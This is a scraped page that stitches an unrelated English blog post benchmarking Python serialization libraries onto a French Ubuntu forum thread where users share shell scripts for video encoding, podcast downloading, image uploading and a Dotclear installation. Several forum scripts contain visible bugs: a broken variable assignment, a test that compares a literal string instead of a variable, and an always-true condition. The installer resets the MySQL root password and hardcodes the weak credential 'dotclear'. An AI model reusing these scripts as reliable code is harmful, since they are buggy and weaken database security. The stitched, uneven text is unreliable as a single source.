-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne |
In a recent python project where I was sending multiple messages per second of data over a basic socket, I had initially just grabbed the cPickle module to get the prototype proof-of-concept functioning properly. cPickle is awesome for easily serializing more complex python objects like custom classes, even though in my case I am only sending basic types.
My messages were dicts with some nested dicts, lists, floats, and string values. Roughly 500-1000 bytes. cPickle was doing just fine, but there came a point where I wanted to investigate the areas that could be tightened up. The first thing I realized was that I had forgotten to encode cPickle in the binary format (the default is ascii). That saved me quite a bit of time. But then I casually searched online to see if any json options might be better since my data is pretty primitive anyways.
I found UltraJSON, which is a pure C json parsing library for python, and ran some tests. There are benchmarks on the project page for ujson, as well as other articles on the internet, but I just wanted to post up my own results using a mixed type data container. ujson came out extremely fast: faster than binary cPickle and msgpack, in the encoding test. Although in the decoding test, msgpack appeared to be fastest, followed by binary cPickle, and then ujson coming in 3rd
This test included the following:
Here is my Python 2.7.2 test script using timeit for each encode and decode step.
"""
Dependencies:
pip install tabulate simplejson python-cjson ujson yajl msgpack-python
"""
from timeit import timeit
from tabulate import tabulate
setup = '''d = {
'words': """
Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Mauris adipiscing adipiscing placerat.
Vestibulum augue augue,
pellentesque quis sollicitudin id, adipiscing.
""",
'list': range(100),
'dict': dict((str(i),'a') for i in xrange(100)),
'int': 100,
'float': 100.123456
}'''
setup_pickle = '%s ; import cPickle ; src = cPickle.dumps(d)' % setup
setup_pickle2 = '%s ; import cPickle ; src = cPickle.dumps(d, 2)' % setup
setup_json = '%s ; import json; src = json.dumps(d)' % setup
setup_msgpack = '%s ; src = msgpack.dumps(d)' % setup
tests = [
# (title, setup, enc_test, dec_test)
('pickle (ascii)', 'import pickle; %s' % setup_pickle, 'pickle.dumps(d, 0)', 'pickle.loads(src)'),
('pickle (binary)', 'import pickle; %s' % setup_pickle2, 'pickle.dumps(d, 2)', 'pickle.loads(src)'),
('cPickle (ascii)', 'import cPickle; %s' % setup_pickle, 'cPickle.dumps(d, 0)', 'cPickle.loads(src)'),
('cPickle (binary)', 'import cPickle; %s' % setup_pickle2, 'cPickle.dumps(d, 2)', 'cPickle.loads(src)'),
('json', 'import json; %s' % setup_json, 'json.dumps(d)', 'json.loads(src)'),
('simplejson-3.3.1', 'import simplejson; %s' % setup_json, 'simplejson.dumps(d)', 'simplejson.loads(src)'),
('python-cjson-1.0.5', 'import cjson; %s' % setup_json, 'cjson.encode(d)', 'cjson.decode(src)'),
('ujson-1.33', 'import ujson; %s' % setup_json, 'ujson.dumps(d)', 'ujson.loads(src)'),
('yajl 0.3.5', 'import yajl; %s' % setup_json, 'yajl.dumps(d)', 'yajl.loads(src)'),
('msgpack-python-0.3.0', 'import msgpack; %s' % setup_msgpack, 'msgpack.dumps(d)', 'msgpack.loads(src)'),
]
loops = 15000
enc_table = []
dec_table = []
print "Running tests (%d loops each)" % loops
for title, mod, enc, dec in tests:
print title
print " [Encode]", enc
result = timeit(enc, mod, number=loops)
enc_table.append([title, result])
print " [Decode]", dec
result = timeit(dec, mod, number=loops)
dec_table.append([title, result])
enc_table.sort(key=lambda x: x[1])
enc_table.insert(0, ['Package', 'Seconds'])
dec_table.sort(key=lambda x: x[1])
dec_table.insert(0, ['Package', 'Seconds'])
print "\nEncoding Test (%d loops)" % loops
print tabulate(enc_table, headers="firstrow")
print "\nDecoding Test (%d loops)" % loops
print tabulate(dec_table, headers="firstrow")
"""
OUTPUT:
Running tests (15000 loops each)
pickle (ascii)
[Encode] pickle.dumps(d, 0)
[Decode] pickle.loads(src)
pickle (binary)
[Encode] pickle.dumps(d, 2)
[Decode] pickle.loads(src)
cPickle (ascii)
[Encode] cPickle.dumps(d, 0)
[Decode] cPickle.loads(src)
cPickle (binary)
[Encode] cPickle.dumps(d, 2)
[Decode] cPickle.loads(src)
json
[Encode] json.dumps(d)
[Decode] json.loads(src)
simplejson-3.3.1
[Encode] simplejson.dumps(d)
[Decode] simplejson.loads(src)
python-cjson-1.0.5
[Encode] cjson.encode(d)
[Decode] cjson.decode(src)
ujson-1.33
[Encode] ujson.dumps(d)
[Decode] ujson.loads(src)
yajl 0.3.5
[Encode] yajl.dumps(d)
[Decode] yajl.loads(src)
msgpack-python-0.3.0
[Encode] msgpack.dumps(d)
[Decode] msgpack.loads(src)
Encoding Test (15000 loops)
Package Seconds
-------------------- ---------
ujson-1.33 0.232215
msgpack-python-0.3.0 0.241945
cPickle (binary) 0.305273
yajl 0.3.5 0.634148
python-cjson-1.0.5 0.680604
json 0.780438
simplejson-3.3.1 1.04763
cPickle (ascii) 1.62062
pickle (ascii) 14.0497
pickle (binary) 15.4712
Decoding Test (15000 loops)
Package Seconds
-------------------- ---------
msgpack-python-0.3.0 0.240885
cPickle (binary) 0.393152
ujson-1.33 0.396875
python-cjson-1.0.5 0.694321
yajl 0.3.5 0.748369
simplejson-3.3.1 0.780531
cPickle (ascii) 1.38561
json 1.65921
pickle (binary) 5.20554
pickle (ascii) 17.8767
"""
|
Mathieu11
[ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Edit admin : le sommaire renvoyant vers les différents scripts se trouve désormais sur cette page de la documentation.
Les nouveaux scripts peuvent donc être discutés ici, puis inclus dans le sommaire
J'ouvre ce sujet pour proposer a chacun de poster les scripts qu'il trouve utiles/pratiques ou de soumettre l'idee d'un script qui lui semblerait pratique.
S'il était épinglé peut etre que ca permettrait un bon échange entre tout le monde et éviterai a certains de "ré-inventer la roue"...
Pour faciliter la lecture je vais faire un sommaire avec lien vers chaque script.
De meme je pense que pour faciliter cette lecture et la creation du sommaire chacun d'entre nous ne devrait placer qu'UN seul script par post (si ceux qui ont deja poste peuvent modifier je serais reconnaissant) et le poster sous une forme qui ressemble a ceci :
http://doc.ubuntu-fr.org/scripts_utiles
NB : Vous devez rendre ces scripts executables avant leur utilisation : Placez vous dans le dossier ou se situe le script, ouvrez un terminal et tapez
chmod +x $nom_du_script
(en remplacant $nom_du_script par le nom du script en question :P :D)
Dernière modification par xabilon (Le 03/11/2008, à 15:05)
Vostro 1400
Hors ligne
messi89
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
merci mon frere pour le partage
l'amour est comme les cookies..sa durée de vie doit être courte pour des raisons de sécurité
Hors ligne
Mathieu11
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
De nada. Si jamais ca interesse du monde.
Vostro 1400
Hors ligne
jadoman
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
C'est une bonne idée, merci c'est bien cool. à+:cool:
Processor Intel dual-core E7400 2.80ghz.
Memory 8 go crucial ddr2 dual-chanel Moniteur 23 pouces ASUS VH236 Résolution 1920*1080 pixels
linuxmint katya 64; ubuntu ultimate 3.4; sabayon; kubuntu 12.04
nvidia gtx 560 gigabyte
Hors ligne
Krevan
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
4/ ENCODAGE VERS PSP
Voilà le script que j'ai écrit pour encoder rapidement, en ligne de commande, des fichiers pour ma PSP.
Il fonctionne grâce à FFMPEG, celui-ci est donc indispensable.
Téléchargez le script [en cliquant ici] ou bien ouvrez créez un nouveau fichier et copiez-le à l'intérieur.
#!/bin/sh
# Version 0.3-1
# Script sous licence GNU GPL
sortant = entrant"-psp"
echo " __ __";
echo " / / / FFMPEG";
echo " / / / /| Script Encodeur Express pour PSP";
echo "| / / / | Version 0.2-3";
echo "|/ / / /";
echo " /_/ /__ ";
# Prompt demandant le format sortant désiré (mp4 ou avi).
echo ;
echo "Choix du format vidéo sortant"
echo "1. MP4";
echo "2. AVI";
echo "Merci d'entrer le numéro correspondant";
echo -n "> "
read format &&
# Prompt demandant le chemin des fichiers entrant et sortant.
echo ;
echo "Choix de la vidéo à encoder";
echo -n "> ";
read entrant &&
# Simulation « inutile » (mais classe) de chargement.
echo ;
echo -n "Lancement du script";
sleep 1;
echo -n .;
sleep 1;
echo -n .;
sleep 1;
echo .;
sleep 1;
# Condition vérifiant le format désiré et encode la vidéo en conséquence.
if [ "$format" = "1" ]; then
{
ffmpeg -i $entrant -f psp -r 29.97 -b 768k -ar 24000 -ab 64k -s 480x272 output-psp.mp4;
}
elif [ "$format" = "2" ]; then
{
ffmpeg -i $entrant -vcodec xvid -acodec mp3 -b 1000kb -s 480x272 output-psp.avi;
}
else
{
echo "«$format» n'est pas une valeur correcte, vérifiez que vous avez bien tapé le chiffre correspondant au format désiré et relancez le programme.";
exit 0;
}
fi
# Suppression des sources.
echo;
echo;
echo -n "Voulez-vous supprimer le fichier source «$entrant» (O/N) ? "
read supprimer_sources &&
if [ "$supprimer_sources" = "O" ] || [ "supprimer_sources" = "o" ]; then
{
echo -n "Suppression en cours... ";
rm $entrant;
echo "OK";
}
else
{
echo "Le fichier source ne sera pas supprimé.";
}
fi
# Fin.
echo ;
echo "Le script s'est correctement terminé. Il est tout de même conseillé de vérifier la vidéo.";
sleep 3;
exit 0;
Si vous avez des doutes quand à l'installation du script voici la marche à suivre, $ signalant une nouvelle entrée (vous ne devez pas l'écrire).
# Vérifiez que vos dépots Medibuntu soient activés.
$ sudo apt-get install ffmpeg
# Téléchargez et installez :
$ wget http://sh-theque.eg2.fr/scripts/seep.tar.gz
$ tar -zxvf seep.tar.gz
$ mv seep .seep
$ sudo chmod +x .seep
# Executez le tout !
$ ./.seep
N'hésitez pas à me signaler vos problèmes.
Dernière modification par Krevan (Le 30/03/2008, à 20:43)
« Ce n'est pas une miette de pain, c'est la moisson du monde entier qu'il faut à la race humaine, sans exploiteur et sans exploité. »
Louise Michel
Hors ligne
Shrat
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Cdanslair vers lecteur mp3 chinois (.amv)
Il y a surement moyen de coder ca plus proprement, j'ai un peu honte. M'enfin... à toutes fins utiles, je poste.
#!/bin/bash
#Tous les chemins de ce script sont absolus. Ce script ne fonctionne que dans un environnement bien précis.
annee=`date "+%Y"`
mois=`date "+%m"`
jour=`date "+%d"`
joursemaine=`date "+%u"`
heure=`date "+%H"`
we=0
negatif=0
#On se débarasse du problème du week end
if [ $joursemaine == 6 ]; then
((jour = jour-1))
we=1
fi
if [ $joursemaine == 7 ]; then
((jour = jour-2))
we=1
fi
#S'il est moins de 20h, il faut prendre la vidéo du jour d'avant
if [[ $we == 0 && $heure < 20 ]]; then
if [ $joursemaine == 1 ]; then
((jour = jour-3))
else
((jour = jour-1))
fi
fi
#Maintenant, on a le bon jour, prenant en compte l'heure et le week end. Problème : les bornes des mois.
if [ $jour == -2 ]; then
negatif=1
#Mois précédent de 31 jours
if [ $mois == 01 ] || [ $mois == 02 ] || [ $mois == 04 ] || [ $mois == 06 ] || [ $mois == 08 ] || [ $mois == 09 ] || [ $mois == 11 ]; then
jour=29
fi
#Mois précédent de 30 jours
if [ $mois == 05 ] || [ $mois == 07 ] || [ $mois == 10 ] || [ $mois == 12 ]; then
jour=28
fi
#Le mois précédant mars est février, et c'est lourd...
if [ $mois == 03 ]; then
#On vérifie si l'année est bissextile
if [ $((annee%4)) == 0 ]; then
jour=27
else
jour=26
fi
fi
fi
if [ $jour == -1 ]; then
negatif=1
#Mois précédent de 31 jours
if [ $mois == 01 ] || [ $mois == 02 ] || [ $mois == 04 ] || [ $mois == 06 ] || [ $mois == 08 ] || [ $mois == 09 ] || [ $mois == 11 ]; then
jour=30
fi
#Mois précédent de 30 jours
if [ $mois == 05 ] || [ $mois == 07 ] || [ $mois == 10 ] || [ $mois == 12 ]; then
jour=29
fi
#Le mois précédant mars est février, et c'est lourd...
if [ $mois == 03 ]; then
#On vérifie si l'année est bissextile
if [ $((annee%4)) == 0 ]; then
jour=28
else
jour=27
fi
fi
fi
if [ $jour == 0 ]; then
negatif=1
#Mois précédent de 31 jours
if [ $mois == 01 ] || [ $mois == 02 ] || [ $mois == 04 ] || [ $mois == 06 ] || [ $mois == 08 ] || [ $mois == 09 ] || [ $mois == 11 ]; then
jour=31
fi
#Mois précédent de 30 jours
if [ $mois == 05 ] || [ $mois == 07 ] || [ $mois == 10 ] || [ $mois == 12 ]; then
jour=30
fi
#Le mois précédant mars est février, et c'est lourd...
if [ $mois == 03 ]; then
#On vérifie si l'année est bissextile
if [ $((annee%4)) == 0 ]; then
jour=29
else
jour=28
fi
fi
fi
if [ $negatif == 1 ]; then
if [ $mois == 01 ]; then
mois=12
else
((mois = mois-1))
fi
fi
mencoder mms://a533.v55778.c5577.e.vm.akamaistream.net/7/533/5577/42c40fe4/lacinq.download.akamai.com/5577/internet/cdanslair/cdanslair_$annee$mois$jour.wmv -ofps 25 -fps 25 -ovc copy -oac pcm -o /home/michael/Media/Podcasts/$annee$mois$jour.avi
cd /home/michael/Applis/amv-codec-tools/AMVmuxer/ffmpeg && ./ffmpeg -i /home/michael/Media/Podcasts/$annee$mois$jour.avi -f amv -r 16 -s 160x120 -ac 1 -ar 22050 -y /home/michael/Media/Podcasts/$annee$mois$jour.amv
echo "Fichiers vidéo généré! Youpi!!"
Hors ligne
DocPlenitude
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Voilà un script pour compter le nombre d'image que j'ai dans Webilder, il suffit de le mettre dans le dossier ~/.webilder/ mais on peut s'en servir dans un autre dossier pour compter le nombre d'image dans le dossier et ces sous dossiers.
#!/bin/bash
nb_images_jpg=`find . -iname *.jpg -print | grep -v "thumbnail" | wc -l`
nb_images_gif=`find . -iname *.gif -print | grep -v "thumbnail" | wc -l`
nb_images_png=`find . -iname *.png -print | grep -v "thumbnail" | wc -l`
nb_images=`expr $nb_images_jpg + $nb_images_gif + $nb_images_png`
zenity --info --title="Nombre d'images dans le dossier" --text="Il y a $nb_images images dans le dossier."
Il compte le nombre d'image gif, jpg et png en ne comptant pas les miniatures et fais le total puis vous l'affiche.
------------
Pour avoir une download-bar quand on télécharge en ligne de commande avec wget (bon celui là je l'ai fait à partir de morçals chipés sur le web).
#!/bin/bash
sed -u 's/\([ 0-9]\+K\)[ \.]*\([0-9]\+%\) \(.*\)/\2\n#Transfert : \1 (\2) à \3/' </dev/stdin | zenity --progress --text="Progression" --percentage=0
Pour l'utiliser (dans l'exemple j'ai mis le script dans wget-download-bar et je l'ai mis dans mon dossier ~/bin/) :
wget ftp://machin.bidule 2>&1 | ~/bin/wget-download-bar
Dernière modification par DocPlenitude (Le 31/03/2008, à 00:21)
Hors ligne
soupaloignon
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Sympa ce post, bien vu
==> Libérez les huitres du bassin d'Arcachon <==
Hors ligne
Oreste visari
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Shrat, comment faire pour que ton script télécharge les vidéos et les mettes dans le dossier /home/user/Vidéos/cDansLair ?
Car j'ai essayer en remplaçant le chemin du lecteur par celui du dossier mais ça n'as rien donné, la console s'ouvre et ce ferme lorsque je lance le script.
Quoi qu'il en soit merci pour vos scripts!
Elementary OS Luna - Acer Aspire S3
Hors ligne
Shrat
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Je te fais ça Oreste. Pour l'instant j'ai du boulot mais je poste dans la semaine.
Hors ligne
Ras'
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
très sympa le todo list, enfin je sais pas si je m'en servirais comme ça mais un marque page discret à afficher en conky c'est une bonne idée !
je poste les miens ce soir j'ai pas le temps là ^^
Mettre le nom en rouge et le but en gras est une bonne idée aussi pour améliorer la lecture
EDIT : Bon du coup je poste ça maintenant
ROTATION D'IMAGEQuand on prend des photos verticales, il peut y avoir des problèmes avec les données EXIF.Ainsi la photo s'affiche dans le bon sens avec le visionneur d'image, mais s'affichera à l'horizontale avec d'autres applications (envoi sur blogspot par exemple). Le script permet de remettre toutes les photos d'un dossier dans le sens correct.
Je l'ai mis en nautilus script pour faire ça d'un clique droit au moment de l'import des photos
Dépendances : On à besoin de la commande exifautotran dispo dans le paquet libjpeg-progs
#!/bin/bash
#
# Rotation des images verticales d'un dossier dans leur sens original
#
find $1 -type f -exec exifautotran '{}' \;
zenity --info --title "fin du script" --text "les images ont correctement été modifiées"
ENVOI D'UNE IMAGE SUR PIX.NOFRAGUn nautilus script pour envoyer une image sur pix.nofrag d'un click droit et récupérer le lien vers l'image dans le presse papier
Merci à pmd pour ce script, pour le support voir ici : http://forum.ubuntu-fr.org/viewtopic.php?id=183632
#!/bin/bash
# Nom : pix.sh
# But : Envoyer facilement des images sur pix.nofrag.
# By pmd
# Configuration
FICHIER=$1
MIMETYPE=$(file -bi "$1")
URL=pix.nofrag.com
MAX_TAILLE_FICHIER=2000000 #2Mo (fixé par pix.nofrag)
# Verifier le fichier avant envoi
TAILLE_FICHIER=$(stat -c%s "$FICHIER")
if [ $TAILLE_FICHIER -gt $MAX_TAILLE_FICHIER ]; then
{
echo "Erreur, le fichier $FICHIER est trop lourd ($TAILLE_FICHIER octets pour une limite de $MAX_TAILLE_FICHIER maximum)."
zenity --warning --text="Erreur, le fichier $FICHIER est trop lourd ($TAILLE_FICHIER octets pour une limite de $MAX_TAILLE_FICHIER maximum)."
exit 1
}
fi
# Envoyer le fichier, et enregistrer la page résultat
TEMPFILE=$(tempfile)
curl $URL -F monimage=@"$FICHIER" -F submit=Upload -H "Expect:" -o $TEMPFILE --progress-bar | zenity --progress --pulsate --auto-close --text="Envoi de <i>$1</i> vers $URL ..."
# Analyser la page pour extraire les donnees
VIEWPAGE=$(grep -oEm 1 '\[url\=([^]]*)' $TEMPFILE | sed 's/\[url\=//')
IMAGE_BIG=$(grep -oEm 1 '\[img\]([^[]*)' $TEMPFILE | sed 's/\[img\]//')
NB_IMG=$(grep -c '\[img\]' $TEMPFILE)
if [ "$NB_IMG" -eq "1" ]; then # Si ya pas besoin de miniature
{
IMAGE_MINI=$IMAGE_BIG
}
elif [ "$NB_IMG" -ge "2" ] || [ "$NB_IMG" -le "3" ]; then # Si ya besoin de miniature
{
IMAGE_MINI=$(echo $VIEWPAGE | sed 's/\.html//')"t.jpg"
}
else
{
echo "La disposition de présentation du code à changé dans pix.nofrag."
zenity --warning --text="La disposition de présentation du code à changé dans pix.nofrag."
exit 2
}
fi
rm $TEMPFILE
# Resultat de l'upload : le code a placer dans un forum
BBCODE="[url=$VIEWPAGE][img]$IMAGE_MINI[/img][/url]"
ZCODE="<lien url=\"$VIEWPAGE\"><image>$IMAGE_MINI</image></lien>"
# ="<lien url="$VIEWPAGE"><image>$IMAGE_MINI</image></lien>"
# On affiche
echo "Lien : $VIEWPAGE"
zenity --info --text="
<b>Fichier :</b> $1
<b>Type :</b> $MIMETYPE
<b>Lien :</b>\n<i><small>$VIEWPAGE</small></i>
<b>Image :</b>\n<i><small>$IMAGE_BIG</small></i>
<b>Miniature :</b>\n<i><small>$IMAGE_MINI</small></i>
<b>BBCode :</b>\n<i><small>$BBCODE</small></i>
<b>ZCode :</b>\n<i><small>$ZCODE</small></i>"
# On met le lien direct dans le presse papier
echo [url=$IMAGE_BIG][img]$IMAGE_MINI[/img][/url]|xclip
TELECHARGER LES QUOTIDIENNES DE CANALComme son nom l'indique, ce script permet de télécharger les quotidiennes (et presques quotidiennes) de canal, c'est à dire :les guignolsle zappingle petit journal actu et peoplele sav des émissionsla boite à questionla météo de louisela chronique de chris esquerreetc...
Je vous renvoi à ce lien vu que le script peut être souvent modifié : http://forum.ubuntu-fr.org/viewtopic.php?id=200149
Dernière modification par Raskal (Le 08/04/2008, à 10:24)
Hors ligne
Mathieu11
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Merci a tous ceux qui participent Je vais tester ton script Canal+ Raskal ca a l'air super sympa.
Dernière modification par Mathieu11 (Le 31/03/2008, à 19:48)
Vostro 1400
Hors ligne
Zak Blayde
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Génial, le coup de pixnofrag, je teste ce soir !
Hors ligne
Hors ligne
Mathieu11
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Le script pour les envois vers pixnofrag ne fonctionne pas chez moi, je ne recois pas d'url pour l'image dans la boite de dialogue zenity qui s'affiche et je n'ai rien dans le presse-papiers... Quelqu'un sait pourquoi ?
Edit : Il me manquait le paquet curl... dsl... ca marche now.
Je propose de rajouter les noms des paquets necessaires pour chaque script si possible.
Dernière modification par Mathieu11 (Le 03/04/2008, à 15:54)
Vostro 1400
Hors ligne
djezair31
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Hello tous,
j'ai du installer dernierement dotclear sur plusieurs machine ubuntu gutsy. Du coup, je poste le script d'installation. Attention, vous devez editer le script et modifier la ligne :
ROOTMYSQLPASSWD="dotclear"
Dans le cas contraire, le script modifie le mot de passe root de MySQL
Une fois le script executer rendez-vous à l'url
http://localhost/dotclear/admin/install/
Et voilou ça tourne
#!/bin/bash
if ! id | grep -q "uid=0"
then
echo "You must be root to run this script (try sudo)"
exit 1
fi
# Si vous avez deja un mot de passe root pour MySQL
# Veuillez le renseigner ici.
ROOTMYSQLPASSWD="dotclear"
DC_DBUSER="dotclear"
DBPASSWORD="dotclear"
DC_DBNAME="dotclear"
reponse=no
DOTCLEARVERSION="dotclear-2.0-beta7.tar.gz"
DOTCLEARTGZ="http://download.dotclear.net/latest/${DOTCLEARVERSION}"
WWWDIR="/var/www"
WWWAPPDIR="/var/www/dotclear"
shellout(){
echo
echo -n `date`
echo -e "\033[1m $1\033[0m"
echo "Existing with ERROR"
echo
exit 1;
};
title(){
echo
echo -e "\033[1m $1\033[0m"
echo
}
echo
echo "ATTENTION !!!"
echo
echo "Le mot de passe de l'utilisateur root mysql va etre modifier."
echo "Le nouveau mot de passe sera : $ROOTMYSQLPASSWD"
echo
echo "Si MySQL possede deja un mot de passe root et que vous le connaissez"
echo "vous devez renseigner la variable ROOTMYSQLPASSWD en premiere ligne de ce script"
echo
echo -n "Voulez vous continuez (yes or no) : "
read reponse
echo
echo
if [ ! $reponse = "yes" ]
then
echo "Existing";
exit 1;
fi
[ "${reponse}" = "" ] && exit
title "Verification des dépendances"
apt-get install mysql-server mysql-client apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-auth-mysql libapache2-mod-fcgid libapache2-mod-php5 php5 php5-cgi php5-cli php5-common php5-gd php5-mcrypt php5-mysql phpmyadmin libpcre3-dev || shellout "Erreur d'installation des paquets. Verifier vos dépots"
apt-get install sysv-rc-conf
update-rc.d apache2 defaults 90
update-rc.d mysql defaults 90
title "Configuration du serveur MySQL"
/etc/init.d/mysql stop
mysqld_safe --skip-grant-tables --skip-networking &
sleep 5
mysql mysql -e "update user set password=password(\"${ROOTMYSQLPASSWD}\") where user=\"root\" and host=\"localhost\";" || shellout "Erreur 1 MySQL"
mysqladmin shutdown || shellout "Erreur 2 Impossible d'arreter MySQL"
/etc/init.d/mysql start || shellout "Erreur 3 Impossible de démarrer MySQL"
#mysql -u root -e "DROP DATABASE ${DC_DBNAME}" --password="$ROOTMYSQLPASSWD"
mysql -u root -e "CREATE DATABASE ${DC_DBNAME}" --password="$ROOTMYSQLPASSWD"
#mysql -u root -e "CREATE USER ${DC_DBUSER}" --password="$ROOTMYSQLPASSWD" || shellout "Echec Creation du user ${DC_DBUSER}"
mysql -u root mysql -e "GRANT ALL PRIVILEGES ON ${DC_DBNAME}.* TO '${DC_DBUSER}'@'localhost' IDENTIFIED BY '${DBPASSWORD}'; FLUSH PRIVILEGES;" --password="$ROOTMYSQLPASSWD"
title "Telechargement de DotCLEAR : $DOTCLEARTGZ"
rm -f /tmp/$DOTCLEARVERSION
wget $DOTCLEARTGZ -P /tmp/ || shellout "Echec de telechargement du fichier $DOTCLEARTGZ"
title "Decompression du fichier /tmp/$DOTCLEARVERSION"
tar zxvf /tmp/$DOTCLEARVERSION -C ${WWWDIR} | \
awk '{l++; if (l%1==0) {printf "."; fflush()}}'
echo
chown -R www-data:www-data ${WWWDIR}/dotclear/
chmod -R 0775 ${WWWDIR}/dotclear/
title "Configuration de DotCLEAR"
cp ${WWWDIR}/dotclear/inc/config.php.in ${WWWDIR}/dotclear/inc/config.php.in.orig
sed -i "s/define('DC_DBPASSWORD','');/define('DC_DBPASSWORD','$DBPASSWORD');/g" ${WWWDIR}/dotclear/inc/config.php.in
sed -i "s/define('DC_DBNAME','');/define('DC_DBNAME','$DC_DBNAME');/g" ${WWWDIR}/dotclear/inc/config.php.in
sed -i "s/define('DC_DBUSER','');/define('DC_DBUSER','$DC_DBUSER');/g" ${WWWDIR}/dotclear/inc/config.php.in
sed -i "s/define('DC_MASTER_KEY','');/define('DC_MASTER_KEY','le train sifflera trois fois');/g" ${WWWDIR}/dotclear/inc/config.php.in
sed -i "s/define('DC_DBDRIVER','');/define('DC_DBDRIVER','mysql');/g" ${WWWDIR}/dotclear/inc/config.php.in
sed -i "s/define('DC_ADMIN_URL','');/define('DC_ADMIN_URL','\/dotclear\/config');/g" ${WWWDIR}/dotclear/inc/config.php.in
title "Patch DotCLEAR"
# Correction de BUG Voir http://dev.dotclear.net/2.0/changeset/1543
cat > ${WWWDIR}/dotclear/admin/install/patch.diff <<EOF
Index: /trunk/admin/install/check.php
===================================================================
--- /trunk/admin/install/check.php (revision 1145)
+++ /trunk/admin/install/check.php (revision 1543)
@@ -49,5 +49,6 @@
}
- if (!@preg_match("/\xf8\xa1\xa1\xa1\xa1/u", "\xf8\xa1\xa1\xa1\xa1")) {
+ \$pcre_str = base64_decode('w6nDqMOgw6o=');
+ if (!@preg_match('/'.\$pcre_str.'/u', \$pcre_str)) {
\$err[] = __('PCRE engine does not support UTF-8 strings.');
}
EOF
cd ${WWWDIR}/dotclear/admin/install/ && patch check.php < patch.diff
cd /tmp
mv ${WWWDIR}/dotclear/inc/config.php.in ${WWWDIR}/dotclear/inc/config.php
title "Firefox to http://localhost/dotclear/admin/install/ and enjoy dotclear :-)"
Hors ligne
Ras'
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
@Raskal, tu auras sûrement remarqué que les gens aiment bien être cité pour un travail fourni.
Désolé, j'ai eu la flemme de rechercher le topic qui en parlait :$
Met un commentaire dans le script
Désolé... je voulais vraiment pas faire passer ça pour une oeuvre à moi :$
EDIT : ah ben il y est sur le script du topic O_o
J'ai du prendre une vieille version ou il ne devrait pas y être ou je sais pas mais y'avais aucune intention douteuse...
Dernière modification par Raskal (Le 03/04/2008, à 19:54)
Hors ligne
kouskous
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Script nautilus qui copie vos fichiers dans le dossier des scripts nautilus et leur donne les droits nécessaires afin d'être exécutés (fait pour Ubuntu-noobie)
#!/bin/sh
#
# GPL v.3
# Copie vos fichiers/dossiers à l'emplacement des scripts nautilus et leur donne les droits nécessaires
# Si aucun fichier selectionné
if [ $# -eq 0 ]; then
zenity --error --title="Erreur" --text="Vous devez selectionner un fichier !"
exit
fi
for File in "$@"
do
# Si c'est un dossier
if [ -d "$File" ]; then
if zenity --question --title="Confirmation" --text="Désirez-vous copier ce dossier : '$File' ?"; then
cp $@/ $HOME/.gnome2/nautilus-scripts/ -R &&
chown $LOGNAME $HOME/.gnome2/nautilus-scripts/$@/ -R &&
chmod 755 $HOME/.gnome2/nautilus-scripts/$@/ -R
fi
#Si c'est un fichier
else
cp $@ $HOME/.gnome2/nautilus-scripts/ &&
chown $LOGNAME $HOME/.gnome2/nautilus-scripts/$@ &&
chmod 755 $HOME/.gnome2/nautilus-scripts/$@
fi
done
Dernière modification par Kous-Kous! (Le 04/04/2008, à 14:40)
#!/usr/bin/killall
« « J'aime kouskous » — kouskous. » — kouskous.
Hors ligne
Ubuntu-Noobie
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
ici: http://www.gnomefiles.org/app.php?soft_id=1159
un script pour convertir mp3, wma, ogg, wav...
télécharger un .bz2 récupérer le script audio-convert. Il est nécessaire d'avoir mplayer
"Quand on voit ce qu'on voit, qu'on entend ce qu'on entend... on a raison de penser ce qu'on pense" [coluche]
Hors ligne
Lonewolf
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
@Raskal
Salut,
J'ai un problème avec ton pix.nofrag.
Voilà ce que me renvoie la fenêtre zenity :
Fichier : IMG_1488.JPG
Type : ERROR: cannot open `IMG_1488.JPG' (No such file or directory)
Lien :
Image :
Miniature :
t.jpg
BBCode :
[url=][img]t.jpg[/img][/url]
ZCode :
<lien url=""><image>t.jpg</image></lien>
NB : curl était déjà installé (cf post de Mathieu11).
Hors ligne
Ras'
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
il n'est pas de moi, il faut voir avec pmd, désolé j'avais oublié de le citer, j'ai corrigé mon post, j'y ai rajouté le lien : http://forum.ubuntu-fr.org/viewtopic.php?id=183632
Hors ligne
pmd
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
il n'est pas de moi, il faut voir avec pmd, désolé j'avais oublié de le citer, j'ai corrigé mon post, j'y ai rajouté le lien : http://forum.ubuntu-fr.org/viewtopic.php?id=183632
Ra merde, il renvoi l'ascenseur
Lonewolf : Passe là : http://forum.ubuntu-fr.org/viewtopic.php?id=183632
Et essai en passant par la console Apparemment, l'url du fichier donné en argument n'est pas bonne
Hors ligne
Mukri
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Prend celui la en python il est 2 fois plus rapide que le script bash
#!/usr/bin/env python
import urllib, httplib, mimetypes, sys, re
